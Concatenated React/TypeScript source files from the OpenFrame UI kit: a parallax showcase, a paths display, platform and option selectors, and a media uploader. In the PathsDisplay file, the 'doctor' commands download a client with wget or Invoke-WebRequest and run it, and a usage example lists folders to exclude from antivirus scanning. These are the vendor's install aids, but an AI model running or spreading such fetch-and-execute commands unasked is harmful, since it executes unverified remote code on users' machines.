iconSize={iconSize}\n        />\n      ))}\n      {remainingCount > 0 && (\n        <span className=\"text-ods-text-secondary text-h6\">\n          +{remainingCount} more\n        </span>\n      )}\n    </div>\n  )\n}\n","\"use client\"\n\nimport React, { useEffect, useState, useRef } from 'react'\nimport Image from '../../embed-shims/next-image'\nimport { motion, useScroll, useTransform, useMotionValue, useSpring } from 'framer-motion'\n\ninterface ParallaxImageShowcaseProps {\n  images: {\n    src: string\n    alt: string\n    position: 'left' | 'center' | 'right'\n  }[]\n  className?: string\n  layout?: 'non-boxed' | 'boxed' | 'grid' // New layout prop\n  logoElement?: React.ReactNode // Custom logo for boxed layout\n  intensity?: number // Animation intensity (used for grid layout)\n  shadow?: boolean // Add shadow to images (used for grid layout)\n}\n\nexport const ParallaxImageShowcase: React.FC<ParallaxImageShowcaseProps> = ({ \n  images, \n  className = '', \n  layout = 'non-boxed',\n  logoElement,\n  intensity,\n  shadow = false\n}) => {\n  // ANIMATION INTENSITY CONTROL\n  // 0.1 = very gentle, 1 = normal, 5 = aggressive, 10 = super aggressive\n  const INTENSITY = intensity || 1 // Use provided intensity or default to 1\n  \n  // Scroll animation - works everywhere on the page\n  const { scrollY } = useScroll()\n  \n  // Mouse animation - works globally\n  const mouseX = useMotionValue(0)\n  const mouseY = useMotionValue(0)\n  \n  // Smooth spring for mouse\n  const springConfig = { stiffness: 100, damping: 30 }\n  const mouseXSpring = useSpring(mouseX, springConfig)\n  const mouseYSpring = useSpring(mouseY, springConfig)\n  \n  // Track component position for global mouse calculations\n  const [componentRect, setComponentRect] = useState<DOMRect | null>(null)\n  const componentRef = useRef<HTMLDivElement>(null)\n  \n  // Update component position on mount and resize\n  useEffect(() => {\n    const updateRect = () => {\n      if (componentRef.current) {\n        setComponentRect(componentRef.current.getBoundingClientRect())\n      }\n    }\n    \n    updateRect()\n    window.addEventListener('resize', updateRect)\n    window.addEventListener('scroll', updateRect)\n    \n    return () => {\n      window.removeEventListener('resize', updateRect)\n      window.removeEventListener('scroll', updateRect)\n    }\n  }, [])\n  \n  // Global mouse tracking\n  useEffect(() => {\n    const handleGlobalMouseMove = (e: MouseEvent) => {\n      if (!componentRect) return\n      \n      const centerX = componentRect.left + componentRect.width / 2\n      const centerY = componentRect.top + componentRect.height / 2\n      const x = (e.clientX - centerX) / componentRect.width\n      const y = (e.clientY - centerY) / componentRect.height\n      \n      // Clamp values to reasonable range\n      const clampedX = Math.max(-1, Math.min(1, x))\n      const clampedY = Math.max(-1, Math.min(1, y))\n      \n      mouseX.set(clampedX * 20)\n      mouseY.set(clampedY * 20)\n    }\n    \n    window.addEventListener('mousemove', handleGlobalMouseMove)\n    \n    return () => {\n      window.removeEventListener('mousemove', handleGlobalMouseMove)\n    }\n  }, [componentRect, mouseX, mouseY])\n  \n  // SCROLL TRANSFORMS - Values multiplied by intensity\n  const scrollX = useTransform(scrollY, [0, 1000], [0, 5 * INTENSITY])\n  const scrollY_ = useTransform(scrollY, [0, 1000], [0, -10 * INTENSITY])\n  const scrollRotate = useTransform(scrollY, [0, 1000], [0, 0.5 * INTENSITY])\n  \n  // MOUSE TRANSFORMS - Values multiplied by intensity\n  const mouseTransformX = useTransform(mouseXSpring, [-20, 20], [-2 * INTENSITY, 2 * INTENSITY])\n  const mouseTransformY = useTransform(mouseYSpring, [-20, 20], [-2 * INTENSITY, 2 * INTENSITY])\n  const mouseRotate = useTransform(mouseXSpring, [-20, 20], [-0.3 * INTENSITY, 0.3 * INTENSITY])\n  \n  // COMBINE scroll and mouse - same for all images\n  const x = useTransform(\n    [scrollX, mouseTransformX],\n    ([s, m]) => (s as number) + (m as number)\n  )\n  const y = useTransform(\n    [scrollY_, mouseTransformY],\n    ([s, m]) => (s as number) + (m as number)\n  )\n  const rotate = useTransform(\n    [scrollRotate, mouseRotate],\n    ([s, m]) => (s as number) + (m as number)\n  )\n  \n  // Get images by position\n  const leftImage = images.find(img => img.position === 'left')\n  const centerImage = images.find(img => img.position === 'center')\n  const rightImage = images.find(img => img.position === 'right')\n  \n  // Grid Layout: Simple 3-column grid with gentler animations\n  if (layout === 'grid') {\n    // Gentler transforms for grid layout - only vertical movement\n    const scrollY_Grid = useTransform(scrollY, [0, 1000], [0, -3 * INTENSITY])\n    const scrollRotateGrid = useTransform(scrollY, [0, 1000], [0, 0.05 * INTENSITY])\n    \n    const mouseTransformYGrid = useTransform(mouseYSpring, [-20, 20], [-1 * INTENSITY, 1 * INTENSITY])\n    const mouseRotateGrid = useTransform(mouseXSpring, [-20, 20], [-0.03 * INTENSITY, 0.03 * INTENSITY])\n    \n    const yGrid = useTransform(\n      [scrollY_Grid, mouseTransformYGrid],\n      ([s, m]) => (s as number) + (m as number)\n    )\n    const rotateGrid = useTransform(\n      [scrollRotateGrid, mouseRotateGrid],\n      ([s, m]) => (s as number) + (m as number)\n    )\n    \n    return (\n      <div \n        ref={componentRef}\n        className={`relative w-full h-full flex items-center ${className}`}\n      >\n        <div className=\"w-full grid grid-cols-1 md:grid-cols-3 gap-4\">\n          {/* Image #1 - Left */}\n          {leftImage && (\n            <motion.div\n              className=\"relative w-full\"\n              style={{\n                y: yGrid,\n                rotate: rotateGrid,\n              }}\n            >\n              <Image\n                src={leftImage.src}\n                alt={leftImage.alt}\n                width={800}\n                height={500}\n                sizes=\"(max-width: 768px) 100vw, 33vw\"\n                className=\"w-full h-auto object-contain\"\n                style={shadow ? { boxShadow: '0 20px 40px rgba(0, 0, 0, 0.3)' } : {}}\n              />\n            </motion.div>\n          )}\n\n          {/* Image #2 - Center */}\n          {centerImage && (\n            <motion.div\n              className=\"relative w-full\"\n              style={{\n                y: yGrid,\n                rotate: rotateGrid,\n              }}\n            >\n              <Image\n                src={centerImage.src}\n                alt={centerImage.alt}\n                width={800}\n                height={500}\n                sizes=\"(max-width: 768px) 100vw, 33vw\"\n                className=\"w-full h-auto object-contain\"\n                style={shadow ? { boxShadow: '0 20px 40px rgba(0, 0, 0, 0.3)' } : {}}\n              />\n            </motion.div>\n          )}\n\n          {/* Image #3 - Right */}\n          {rightImage && (\n            <motion.div\n              className=\"relative w-full\"\n              style={{\n                y: yGrid,\n                rotate: rotateGrid,\n              }}\n            >\n              <Image\n                src={rightImage.src}\n                alt={rightImage.alt}\n                width={800}\n                height={500}\n                sizes=\"(max-width: 768px) 100vw, 33vw\"\n                className=\"w-full h-auto object-contain\"\n                style={shadow ? { boxShadow: '0 20px 40px rgba(0, 0, 0, 0.3)' } : {}}\n              />\n            </motion.div>\n          )}\n        </div>\n      </div>\n    )\n  }\n  \n  // Boxed Layout: Clean two-row grid structure with overlaps\n  if (layout === 'boxed') {\n    return (\n      <div \n        ref={componentRef}\n        className={`relative w-full h-full overflow-hidden ${className}`}\n      >\n        {/* Row 1: Logo Component */}\n        {logoElement && (\n          <div className=\"absolute top-4 left-1/2 -translate-x-1/2 z-30 scale-50\">\n            {logoElement}\n          </div>\n        )}\n        \n        {/* Row 2: Two images with overlaps and margin from row 1 */}\n        <div className=\"absolute top-32 inset-x-0 h-80\">\n          {/* Left half: Image overlaps to the left */}\n          {leftImage && (\n            <motion.div\n              className=\"absolute left-20 lg:w-1/2 w-full h-full z-10\"\n              style={{ x: x, y: y, rotate: rotate }}\n            >\n              <Image\n                src={leftImage.src}\n                alt={leftImage.alt}\n                fill\n                sizes=\"50vw\"\n                className=\"object-[left_top] object-cover ods-card/50 border border-ods-border\"\n              />\n              <div className=\"absolute inset-0 shadow-2xl\" />\n            </motion.div>\n          )}\n\n          {/* Right half: Image overlaps to the right */}\n          {centerImage && (\n            <motion.div\n              className=\"absolute top-20 right-20 lg:w-1/2 w-full h-full z-20\"\n              style={{ x: x, y: y, rotate: rotate }}\n            >\n              <Image\n                src={centerImage.src}\n                alt={centerImage.alt}\n                fill\n                sizes=\"50vw\"\n                className=\"object-[left_top] object-cover ods-card/50 border border-ods-border\"\n              />\n              <div className=\"absolute inset-0 shadow-2xl\" />\n            </motion.div>\n          )}\n        </div>\n      </div>\n    )\n  }\n  \n  // Non-Boxed Layout (original implementation)\n  return (\n    <div \n      ref={componentRef}\n      className={`relative w-full h-full ${className}`}\n    >\n      {/* Image #3 - Behind all - z-index 1 */}\n      {rightImage && (\n        <motion.div\n          className=\"absolute z-[1] \n            w-[80%] h-[60%] top-[5%] right-[5%]\n            lg:w-[120%] lg:h-[85%] lg:top-[-10%] lg:right-[-15%]\"\n          style={{\n            x: x,\n            y: y,\n            rotate: rotate,\n          }}\n        >\n          <Image\n            src={rightImage.src}\n            alt={rightImage.alt}\n            fill\n            sizes=\"(max-width: 1024px) 80vw, 120vw\"\n            className=\"object-contain\"\n          />\n        </motion.div>\n      )}\n\n      {/* Image #2 - Middle layer - z-index 2 */}\n      {centerImage && (\n        <motion.div\n          className=\"absolute z-[2]\n            w-[75%] h-[55%] bottom-[10%] right-[0%]\n            lg:w-[100%] lg:h-[80%] lg:bottom-[-15%] lg:right-[-20%]\"\n          style={{\n            x: x,\n            y: y,\n            rotate: rotate,\n          }}\n        >\n          <Image\n            src={centerImage.src}\n            alt={centerImage.alt}\n            fill\n            sizes=\"(max-width: 1024px) 75vw, 100vw\"\n            className=\"object-contain\"\n          />\n        </motion.div>\n      )}\n\n      {/* Image #1 - On top - z-index 3 */}\n      {leftImage && (\n        <motion.div\n          className=\"absolute z-[3]\n            w-[85%] h-[65%] top-[10%] left-[-5%]\n            lg:w-[110%] lg:h-[90%] lg:top-[0%] lg:left-[-25%]\"\n          style={{\n            x: x,\n            y: y,\n            rotate: rotate,\n          }}\n        >\n          <Image\n            src={leftImage.src}\n            alt={leftImage.alt}\n            fill\n            sizes=\"(max-width: 1024px) 85vw, 110vw\"\n            className=\"object-contain\"\n          />\n        </motion.div>\n      )}\n    </div>\n  )\n}","'use client'\n\nimport React from 'react'\nimport { Copy02Icon } from '../icons-v2-generated/documents/copy-02-icon'\nimport { cn } from '../../utils/cn'\n\nexport interface PathsDisplayProps {\n  /**\n   * Array of file/folder paths to display\n   */\n  paths: readonly string[] | string[]\n\n  /**\n   * Callback when a path is copied\n   */\n  onCopyPath?: (path: string) => void\n\n  /**\n   * Optional title above the paths list\n   */\n  title?: string\n\n  /**\n   * Optional description text\n   */\n  description?: string\n\n  /**\n   * Additional CSS classes for the container\n   */\n  className?: string\n\n  /**\n   * Whether to show copy buttons (default: true)\n   */\n  showCopyButtons?: boolean\n\n  /**\n   * Size of the copy icon (default: 'w-6 h-6')\n   */\n  copyIconSize?: string\n\n  /**\n   * Optional icon rendered at the start of every row, before the path text.\n   * Useful for showing a platform logo next to a command (e.g. the Windows\n   * logo beside \"Run PowerShell as Local Administrator\").\n   */\n  leadingIcon?: React.ReactNode\n}\n\n/**\n * PathsDisplay - Unified component for displaying file/folder paths with copy functionality\n *\n * Features:\n * - Displays a list of paths in a styled container\n * - Optional copy-to-clipboard functionality\n * - Monospace font for paths\n * - Consistent ODS styling\n *\n * Usage Example:\n * ```tsx\n * import { PathsDisplay } from '@flamingo/ui-kit/components/features'\n *\n * const windowsPaths = [\n *   'C:\\\\Program Files\\\\OpenFrame\\\\',\n *   'C:\\\\ProgramData\\\\OpenFrame\\\\'\n * ]\n *\n * <PathsDisplay\n *   paths={windowsPaths}\n *   title=\"Antivirus Exclusions\"\n *   description=\"Add these folders to your antivirus exclusions list\"\n *   onCopyPath={(path) => {\n *     navigator.clipboard.writeText(path)\n *     toast({ title: 'Copied', description: 'Path copied to clipboard' })\n *   }}\n * />\n * ```\n */\nexport function PathsDisplay({\n  paths,\n  onCopyPath,\n  title,\n  description,\n  className,\n  showCopyButtons = true,\n  copyIconSize = 'w-6 h-6',\n  leadingIcon\n}: PathsDisplayProps) {\n  if (!paths || paths.length === 0) {\n    return null\n  }\n\n  return (\n    <div className={cn('flex flex-col gap-3', className)}>\n      {title && (\n        <div className=\"text-h4 text-ods-text-primary\">\n          {title}\n        </div>\n      )}\n      {description && (\n        <div className=\"text-h6 text-ods-text-secondary\">\n          {description}\n        </div>\n      )}\n      <div className=\"bg-ods-bg border border-ods-border rounded-[6px] overflow-hidden\">\n        {paths.map((path) => (\n          <div\n            key={path}\n            className=\"flex items-center gap-4 p-4 border-b border-ods-border last:border-b-0\"\n          >\n            {leadingIcon && (\n              <span className=\"shrink-0 text-ods-text-primary\">{leadingIcon}</span>\n            )}\n            <span className=\"flex-1 min-w-0 text-h4 text-ods-text-primary truncate\">\n              {path}\n            </span>\n            {showCopyButtons && onCopyPath && (\n              <button\n                type=\"button\"\n                onClick={() => onCopyPath(path)}\n                aria-label={`Copy ${path}`}\n                className=\"shrink-0 rounded-md text-ods-text-secondary transition-colors hover:text-ods-text-primary focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ods-focus\"\n              >\n                <Copy02Icon className={copyIconSize} />\n              </button>\n            )}\n          </div>\n        ))}\n      </div>\n    </div>\n  )\n}\n\n/**\n * Pre-defined path sets for common use cases\n */\nexport const OPENFRAME_PATHS = {\n  windows: [\n    'C:\\\\Program Files\\\\OpenFrame',\n    'C:\\\\ProgramData\\\\OpenFrame',\n    'C:\\\\ProgramData\\\\OpenFrameInstall',\n    'C:\\\\Program Files\\\\Orbit'\n  ],\n  darwin: [\n    '/Library/LaunchDaemons/com.openframe.client.plist',\n    '/Library/Application Support/OpenFrame/meshcentral-agent/'\n  ],\n  linux: [\n    '/opt/openframe/'\n  ]\n} as const\n\nexport type OpenFramePathsPlatform = keyof typeof OPENFRAME_PATHS\n\n/**\n * Get OpenFrame paths for a specific platform\n */\nexport function getOpenFramePaths(platform: OpenFramePathsPlatform): string[] {\n  return [...OPENFRAME_PATHS[platform]]\n}\n\n/**\n * Doctor command per platform. Run to diagnose installation issues and repair\n * the agent (works even if the agent didn't install correctly).\n */\nexport const OPENFRAME_DOCTOR_COMMANDS: Record<OpenFramePathsPlatform, string> = {\n  // PowerShell: Invoke-WebRequest / .\\openframe-client.exe, mirroring the\n  // Windows install command pattern.\n  windows:\n    \"Set-Location ~; Invoke-WebRequest -Uri 'github.com/openframe-client' -OutFile 'openframe-client.exe'; .\\\\openframe-client.exe doctor\",\n  darwin: 'cd ~; wget github.com/openframe-client; openframe-client doctor',\n  linux: 'cd ~; wget github.com/openframe-client; openframe-client doctor'\n} as const\n\n/**\n * Get the OpenFrame doctor command for a specific platform\n */\nexport function getOpenFrameDoctorCommand(platform: OpenFramePathsPlatform): string {\n  return OPENFRAME_DOCTOR_COMMANDS[platform]\n}\n","\"use client\";\n\nimport React from 'react';\nimport { Button } from '../ui/button';\nimport { getSmallPlatformIcon } from '../../utils/platform-config';\nimport type { PlatformConfig } from '../../types/platform';\n\n// Platform icons are now unified in platform-config utils\n\nexport interface PlatformFilterComponentProps {\n  selectedPlatform: string;\n  onPlatformChange: (platform: string) => void;\n  platforms: PlatformConfig[];\n  className?: string;\n  showIcons?: boolean;\n  size?: 'small-legacy' | 'default';\n}\n\nexport function PlatformFilterComponent({\n  selectedPlatform,\n  onPlatformChange,\n  platforms = [],\n  className = '',\n  showIcons = true,\n  size = 'small-legacy'\n}: PlatformFilterComponentProps) {\n  return (\n    <div className={`flex items-center gap-2 flex-wrap ${className}`}>\n      <Button\n        type=\"button\"\n        variant={selectedPlatform === 'all' ? \"accent\" : \"outline\"}\n        size={size}\n        onClick={() => onPlatformChange('all')}\n        className=\"text-h3\"\n      >\n        All Platforms\n      </Button>\n      {platforms.map((platform) => (\n        <Button\n          key={platform.value}\n          type=\"button\"\n          variant={selectedPlatform === platform.value ? \"accent\" : \"outline\"}\n          size={size}\n          onClick={() => onPlatformChange(platform.value)}\n          leftIcon={showIcons ? getSmallPlatformIcon(platform.value) : undefined}\n          className=\"text-h3\"\n        >\n          {platform.label}\n        </Button>\n      ))}\n    </div>\n  );\n}","\"use client\";\n\nimport { Button, Badge } from \"../ui\";\nimport { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from \"../ui/tooltip\";\nimport { Check } from 'lucide-react';\nimport React from 'react';\n\nexport interface SelectableOption {\n  id: string;              // Selection ID (UUID for platforms, value for others)\n  name: string;            // Primary identifier (platform enum or item name)\n  displayName?: string;    // Optional display name (for platforms)\n  description?: string;\n  isActive?: boolean;\n  createdAt?: string;\n  updatedAt?: string;\n  icon?: React.ReactNode;\n  color?: string;\n  disabled?: boolean;      // If true, option is shown grayed out and not selectable\n  disabledReason?: string; // Tooltip shown on hover when disabled — explains WHY it's unavailable\n  section?: string;        // Optional section ID to group options\n}\n\nexport interface SectionDefinition {\n  id: string;              // Section identifier (matches option.section)\n  label: string;           // Display label for the section\n  icon?: React.ReactNode;  // Optional icon for the section header\n  description?: string;    // Optional description shown under section label\n}\n\ninterface PushButtonSelectorProps {\n  options: SelectableOption[];\n  selectedIds: string[];\n  onSelectionChange: (selectedIds: string[]) => void;\n  multiSelect?: boolean;\n  title?: string;\n  helpText?: string;\n  className?: string;\n  selectionSummary?: boolean;\n  optional?: boolean;\n  isLoading?: boolean;\n  error?: string | null;\n  skeletonCount?: number;\n  sections?: SectionDefinition[];  // Optional sections for grouping options\n}\n\n// Skeleton component matching external pattern from announcement-form.tsx\nfunction PushButtonSelectorSkeleton({ count = 3, hasTitle }: { count?: number; hasTitle?: boolean }) {\n  return (\n    <div className=\"space-y-3\">\n      {hasTitle && (\n        <div className=\"h-5 w-20 bg-ods-skeleton rounded animate-pulse\" />\n      )}\n      <div className=\"space-y-3\">\n        {[...Array(count)].map((_, i) => (\n          <div key={i} className=\"p-4 rounded-lg border border-ods-border bg-ods-skeleton animate-pulse\">\n            <div className=\"flex items-center justify-between\">\n              <div className=\"flex items-center gap-3\">\n                <div className=\"w-8 h-8 bg-ods-skeleton rounded\" />\n                <div>\n                  <div className=\"h-4 w-20 bg-ods-skeleton rounded mb-1\" />\n                  <div className=\"h-3 w-32 bg-ods-skeleton rounded\" />\n                </div>\n              </div>\n              <div className=\"w-6 h-6 bg-ods-skeleton rounded border-2 border-ods-border\" />\n            </div>\n          </div>\n        ))}\n      </div>\n    </div>\n  );\n}\n\n// Error component using ODS error tokens\nfunction PushButtonSelectorError({ message, title }: { message: string; title?: string }) {\n  return (\n    <div className=\"space-y-3\">\n      {title && (\n        <h3 className=\"text-h5 text-ods-text-primary\">\n          {title}\n        </h3>\n      )}\n      <div className=\"p-4 bg-ods-error-secondary border border-ods-error rounded-lg\">\n        <div className=\"text-h6 text-ods-error\">\n          ⚠️ {message}\n        </div>\n      </div>\n    </div>\n  );\n}\n\nexport function PushButtonSelector({\n  options,\n  selectedIds,\n  onSelectionChange,\n  multiSelect = true,\n  title,\n  helpText,\n  className = '',\n  selectionSummary = false,\n  optional = false,\n  isLoading = false,\n  error = null,\n  skeletonCount = 3,\n  sections\n}: PushButtonSelectorProps) {\n\n  // LOADING STATE\n  if (isLoading) {\n    return (\n      <div className={className}>\n        <PushButtonSelectorSkeleton count={skeletonCount} hasTitle={!!title} />\n      </div>\n    );\n  }\n\n  // ERROR STATE\n  if (error) {\n    return (\n      <div className={className}>\n        <PushButtonSelectorError message={error} title={title} />\n      </div>\n    );\n  }\n\n  // VALIDATION: Only filter invalid selectedIds if options are loaded\n  const validSelectedIds = options.length > 0\n    ? selectedIds.filter(id => options.some(option => option.id === id))\n    : selectedIds; // Keep all IDs if options not loaded yet\n\n  // Dev warning for debugging (only when options are loaded)\n  if (process.env.NODE_ENV === 'development' && options.length > 0 && validSelectedIds.length !== selectedIds.length) {\n    const invalidIds = selectedIds.filter(id => !options.some(opt => opt.id === id));\n    console.warn('[PushButtonSelector] Invalid selected IDs filtered:', invalidIds);\n  }\n\n  const toggleSelection = (optionId: string) => {\n    if (multiSelect) {\n      const isSelected = validSelectedIds.includes(optionId);\n      if (isSelected) {\n        onSelectionChange(validSelectedIds.filter(id => id !== optionId));\n      } else {\n        onSelectionChange([...validSelectedIds, optionId]);\n      }\n    } else {\n      // Single select mode\n      onSelectionChange(validSelectedIds.includes(optionId) ? [] : [optionId]);\n    }\n  };\n\n  const getSelectedOptions = () => options.filter(option => validSelectedIds.includes(option.id));\n\n  // Helper to render a single option\n  const renderOption = (option: SelectableOption) => {\n    const isSelected = validSelectedIds.includes(option.id);\n\n    const optionEl = (\n      <div\n        key={option.id}\n        className={`\n          p-4 rounded-lg border transition-all duration-200 group\n          ${option.disabled\n            ? `${isSelected ? 'cursor-pointer' : 'cursor-not-allowed'} opacity-40 bg-ods-card border-ods-border`\n            : isSelected\n              ? 'cursor-pointer bg-ods-bg-surface border-ods-accent shadow-sm'\n              : 'cursor-pointer bg-ods-bg border-ods-border hover:border-ods-border-hover hover:bg-ods-bg-hover'\n          }\n        `}\n        // Disabled options can't be newly SELECTED, but an already-selected one\n        // (e.g. it later became unavailable) must still be removable.\n        onClick={() => (!option.disabled || isSelected) && toggleSelection(option.id)}\n      >\n        <div className=\"flex items-center justify-between gap-4\">\n          <div className=\"flex items-center gap-3 flex-1 min-w-0\">\n            {option.icon && (\n              <div className={`flex-shrink-0 transition-transform duration-200 ${isSelected ? 'scale-110' : 'group-hover:scale-105'}`}>\n                {option.icon}\n              </div>\n            )}\n            <div className=\"flex-1 min-w-0\">\n              <div className=\"text-h6 font-semibold text-ods-text-primary\">\n                {option.displayName || option.name}\n              </div>\n              {option.description && (\n                <div className=\"text-h6 text-ods-text-secondary line-clamp-2\" title={option.description}>\n                  {option.description}\n                </div>\n              )}\n            </div>\n          </div>\n\n          {/* Selection Indicator */}\n          <div className={`\n            flex-shrink-0 w-6 h-6 rounded border-2 flex items-center justify-center transition-all duration-200\n            ${isSelected\n              ? 'bg-ods-accent border-ods-accent scale-110'\n              : 'border-ods-border group-hover:border-ods-border-hover'\n            }\n          `}>\n            {isSelected && (\n              <Check className=\"w-4 h-4 text-ods-text-primary font-bold\" strokeWidth={3} />\n            )}\n          </div>\n        </div>\n      </div>\n    );\n\n    // Disabled options explain WHY on hover via the unified Tooltip.\n    if (option.disabled && option.disabledReason) {\n      return (\n        <Tooltip key={option.id}>\n          <TooltipTrigger asChild>{optionEl}</TooltipTrigger>\n          <TooltipContent className=\"max-w-xs\">{option.disabledReason}</TooltipContent>\n        </Tooltip>\n      );\n    }\n\n    return optionEl;\n  };\n\n  // Group options by section if sections are provided\n  const renderOptionsContent = () => {\n    if (!sections || sections.length === 0) {\n      // No sections - render flat list\n      return (\n        <div className=\"space-y-3\">\n          {options.map(renderOption)}\n        </div>\n      );\n    }\n\n    // Group options by section\n    const optionsBySection = new Map<string, SelectableOption[]>();\n    const ungroupedOptions: SelectableOption[] = [];\n\n    options.forEach(option => {\n      if (option.section) {\n        const existing = optionsBySection.get(option.section) || [];\n        optionsBySection.set(option.section, [...existing, option]);\n      } else {\n        ungroupedOptions.push(option);\n      }\n    });\n\n    return (\n      <div className=\"space-y-4\">\n        {/* Render sections in order */}\n        {sections.map(section => {\n          const sectionOptions = optionsBySection.get(section.id) || [];\n          if (sectionOptions.length === 0) return null;\n\n          return (\n            <div key={section.id} className=\"space-y-2\">\n              {/* Section Header */}\n              <div className=\"flex items-center gap-2 px-1\">\n                {section.icon && (\n                  <div className=\"text-ods-text-secondary\">\n                    {section.icon}\n                  </div>\n                )}\n                <div>\n                  <div className=\"text-h6 font-semibold text-ods-text-primary\">\n                    {section.label}\n                  </div>\n                  {section.description && (\n                    <div className=\"text-h6 text-ods-text-tertiary\">\n                      {section.description}\n                    </div>\n                  )}\n                </div>\n              </div>\n              {/* Section Options */}\n              <div className=\"space-y-2\">\n                {sectionOptions.map(renderOption)}\n              </div>\n            </div>\n          );\n        })}\n\n        {/* Render ungrouped options at the end */}\n        {ungroupedOptions.length > 0 && (\n          <div className=\"space-y-2\">\n            {ungroupedOptions.map(renderOption)}\n          </div>\n        )}\n      </div>\n    );\n  };\n\n  return (\n    <TooltipProvider delayDuration={150}>\n    <div className={`space-y-4 ${className}`}>\n      {title && (\n        <h3 className=\"text-h5 text-ods-text-primary\">\n          {title}\n        </h3>\n      )}\n\n      {renderOptionsContent()}\n\n      {/* Selection Summary */}\n      {selectionSummary && validSelectedIds.length > 0 && (\n        <div className=\"p-4 bg-ods-success-secondary border border-ods-success rounded-lg\">\n          <div className=\"flex items-center gap-2 mb-2\">\n            <div className=\"w-2 h-2 bg-ods-success rounded-full\"></div>\n            <span className=\"text-h6 text-ods-success\">\n              {validSelectedIds.length} {multiSelect ? 'items' : 'item'} selected\n            </span>\n          </div>\n\n          <div className=\"flex flex-wrap gap-2\">\n            {getSelectedOptions().map(option => (\n              <Badge\n                key={option.id}\n                className=\"bg-ods-accent text-ods-text-primary text-h6\"\n              >\n                {option.displayName || option.name}\n              </Badge>\n            ))}\n          </div>\n        </div>\n      )}\n\n      {/* Help Text */}\n      {helpText && (\n        <div className=\"text-h6 text-ods-text-secondary\">\n          {helpText}\n        </div>\n      )}\n\n      {/* Empty State Warning */}\n      {validSelectedIds.length === 0 && title && !optional && (\n        <div className=\"p-3 bg-ods-error-secondary border border-ods-error rounded-lg\">\n          <div className=\"text-h6 text-ods-error\">\n            ⚠️ Please select at least one option\n          </div>\n        </div>\n      )}\n    </div>\n    </TooltipProvider>\n  );\n}","\"use client\";\n\nimport { useState, useRef } from 'react';\nimport { Button, Input, Label, Select, SelectContent, SelectItem, SelectTrigger, SelectValue, Textarea } from '../ui';\nimport { Trash2, Plus, Image as ImageIcon, Video as VideoIcon, Upload, Loader2, GripVertical } from 'lucide-react';\nimport Image from '../../embed-shims/next-image';\nimport { Video } from './video';\n\nexport interface ReleaseMediaItem {\n  media_type: 'image' | 'video' | 'screenshot' | 'demo';\n  media_url: string;\n  title?: string;\n  description?: string;\n  display_order?: number;\n  _file?: File; // Temporary file before upload\n  _uploading?: boolean; // Upload in progress\n}\n\ninterface ReleaseMediaManagerProps {\n  media: ReleaseMediaItem[];\n  onChange: (media: ReleaseMediaItem[]) => void;\n  onUpload: (file: File, mediaType: 'image' | 'video' | 'screenshot' | 'demo') => Promise<string>; // Returns uploaded URL\n  className?: string;\n}\n\nexport function ReleaseMediaManager({\n  media,\n  onChange,\n  onUpload,\n  className = ''\n}: ReleaseMediaManagerProps) {\n  const fileInputRef = useRef<HTMLInputElement>(null);\n  const [uploadingIndex, setUploadingIndex] = useState<number | null>(null);\n\n  const handleFileSelect = async (event: React.ChangeEvent<HTMLInputElement>) => {\n    const file = event.target.files?.[0];\n    if (!file) return;\n\n    // Determine media type\n    let mediaType: 'image' | 'video' | 'screenshot' | 'demo';\n    if (file.type.startsWith('image/')) {\n      mediaType = 'screenshot';\n    } else if (file.type.startsWith('video/')) {\n      mediaType = 'demo';\n    } else {\n      return;\n    }\n\n    // Add media item with uploading state\n    const newIndex = media.length;\n    const newMedia: ReleaseMediaItem = {\n      media_type: mediaType,\n      media_url: '',\n      title: file.name,\n      _file: file,\n      _uploading: true\n    };\n\n    onChange([...media, newMedia]);\n    setUploadingIndex(newIndex);\n\n    try {\n      // Upload file\n      const url = await onUpload(file, mediaType);\n\n      // Update with uploaded URL\n      const updated = [...media, { ...newMedia, media_url: url, _file: undefined, _uploading: false }];\n      onChange(updated);\n    } catch (error) {\n      // Remove failed upload\n      onChange(media);\n    } finally {\n      setUploadingIndex(null);\n      if (fileInputRef.current) {\n        fileInputRef.current.value = '';\n      }\n    }\n  };\n\n  const removeMedia = (index: number) => {\n    onChange(media.filter((_, i) => i !== index));\n  };\n\n  const updateMedia = (index: number, field: keyof ReleaseMediaItem, value: string) => {\n    const updated = [...media];\n    updated[index] = { ...updated[index], [field]: value };\n    onChange(updated);\n  };\n\n  const handleDragStart = (index: number) => (e: React.DragEvent) => {\n    e.dataTransfer.effectAllowed = 'move';\n    e.dataTransfer.setData('text/plain', index.toString());\n  };\n\n  const handleDragOver = (e: React.DragEvent) => {\n    e.preventDefault();\n    e.dataTransfer.dropEffect = 'move';\n  };\n\n  const handleDrop = (targetIndex: number) => (e: React.DragEvent) => {\n    e.preventDefault();\n    const sourceIndex = parseInt(e.dataTransfer.getData('text/plain'));\n\n    if (sourceIndex === targetIndex) return;\n\n    const newMedia = [...media];\n    const [draggedItem] = newMedia.splice(sourceIndex, 1);\n    newMedia.splice(targetIndex, 0, draggedItem);\n\n    onChange(newMedia.map((item, i) => ({ ...item, display_order: i })));\n  };\n\n  const getIcon = (type: string) => {\n    switch (type) {\n      case 'video':\n      case 'demo':\n        return <VideoIcon className=\"w-5 h-5 text-ods-text-secondary\" />;\n      default:\n        return <ImageIcon className=\"w-5 h-5 text-ods-text-secondary\" />;\n    }\n  };\n\n  return (\n    <div className={`space-y-4 ${className}`}>\n      {/* Upload Section */}\n      <div className=\"border-2 border-dashed border-ods-border rounded-lg p-6 text-center hover:border-ods-accent/50 transition-colors\">\n        <div className=\"flex flex-col items-center gap-4\">\n          <div className=\"w-12 h-12 rounded-full bg-ods-card flex items-center justify-center\">\n            {uploadingIndex !== null ? (\n              <Loader2 className=\"h-6 w-6 animate-spin text-ods-accent\" />\n            ) : (\n              <Upload className=\"h-6 w-6 text-ods-accent\" />\n            )}\n          </div>\n          <div>\n            <h3 className=\"text-h3 text-ods-text-primary mb-1\">\n              {uploadingIndex !== null ? 'Uploading...' : 'Upload Media'}\n            </h3>\n            <p className=\"text-h6 text-ods-text-secondary\">\n              Drag and drop or click to select images and videos\n            </p>\n            <p className=\"text-h6 text-ods-text-secondary mt-1\">\n              Maximum file size: 50MB\n            </p>\n          </div>\n          <Button\n            type=\"button\"\n            variant=\"outline\"\n            onClick={() => fileInputRef.current?.click()}\n            disabled={uploadingIndex !== null}\n            leftIcon={<Plus className=\"h-4 w-4\" />}\n            className=\"text-h6 font-bold\"\n          >\n            {uploadingIndex !== null ? 'Uploading...' : 'Select Files'}\n          </Button>\n        </div>\n      </div>\n\n      <input\n        ref={fileInputRef}\n        type=\"file\"\n        accept=\"image/*,video/*\"\n        